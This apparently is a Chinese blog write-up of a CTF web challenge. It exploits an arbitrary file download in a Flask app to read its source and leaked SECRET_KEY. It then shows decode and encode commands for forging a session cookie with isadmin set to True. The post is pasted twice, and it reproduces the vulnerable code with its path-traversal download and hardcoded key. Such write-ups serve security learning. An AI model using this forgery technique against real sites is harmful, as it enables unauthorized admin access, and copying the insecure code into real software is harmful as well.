【无标题】

抽老婆
一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家
原文连接:https://www.cnblogs.com/xxpanda/p/16897102.html
在这里插入图片描述![
然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥
在这里插入图片描述

在里面发现source文件在/app/app.py里面,

在这里插入图片描述
用之前发现的任意文件下载下载下来
在这里插入图片描述

然后查看源码

``from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(name)
app.config[‘SECRET_KEY’] = ‘tanji_is_A_boy_Yooooooooooooooooooooo!’

@app.route(‘/’, methods=[‘GET’])
def index():
return render_template(‘index.html’)

@app.route(‘/getwifi’, methods=[‘GET’])
def getwifi():
session[‘isadmin’]=False
wifi=random.choice(os.listdir(‘static/img’))
session[‘current_wifi’]=wifi
return render_template(‘getwifi.html’,wifi=wifi)

@app.route(‘/download’, methods=[‘GET’])
def source():
filename=request.args.get(‘file’)
if ‘flag’ in filename:
return jsonify({“msg”:“你想干什么?”})
else:
return send_file(‘static/img/’+filename,as_attachment=True)

@app.route(‘/secret_path_U_never_know’,methods=[‘GET’])
def getflag():
if session[‘isadmin’]:
return jsonify({“msg”:flag})
else:
return jsonify({“msg”:“你怎么知道这个路径的?不过还好我有身份验证”})

if name == ‘main’:
app.run(host=‘0.0.0.0’,port=80,debug=True)

看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK

session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录

flask脚本链接:https://github.com/noraj/flask-session-cookie-manager

注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题

具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
 
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
  解密:找到秘钥后,去解密,解密格式如下:

python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'
  然后就得到密文了

 


 

      加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码

 if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
  加密格式:

python3 flask_session_cookie_manager3.py encode  -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"
  特别注意后面需要"双引号"单引号不能成功

生成密文:



 

 最后把密文添加到cookie就可以成功获取flag了

补充说明:



 

 这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”

 



 

 

然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥



 

 

 在里面发现source文件在/app/app.py里面,



 

 

 用之前发现的任意文件下载下载下来



 

 

 

 

 

 然后查看源码

#Author     :g4_simon
from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)
看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK

session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录

flask脚本链接:https://github.com/noraj/flask-session-cookie-manager

注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题

具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
 
app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
  **解密**:找到秘钥后,去解密,解密格式如下:

python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'
  然后就得到密文了
![在这里插入图片描述](https://img-blog.csdnimg.cn/4b7f3ea5c0dd42d484ae09fcf26c88d3.png)
      **加密**:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码

 if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
  加密格式:

python3 flask_session_cookie_manager3.py encode  -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"
  特别注意后面需要"双引号"单引号不能成功

生成密文:
![在这里插入图片描述](https://img-blog.csdnimg.cn/fc9c23688a6945bf9a74cb182288c22f.png)



 

 最后把密文添加到cookie就可以成功获取flag了

补充说明:
 这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”

 


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值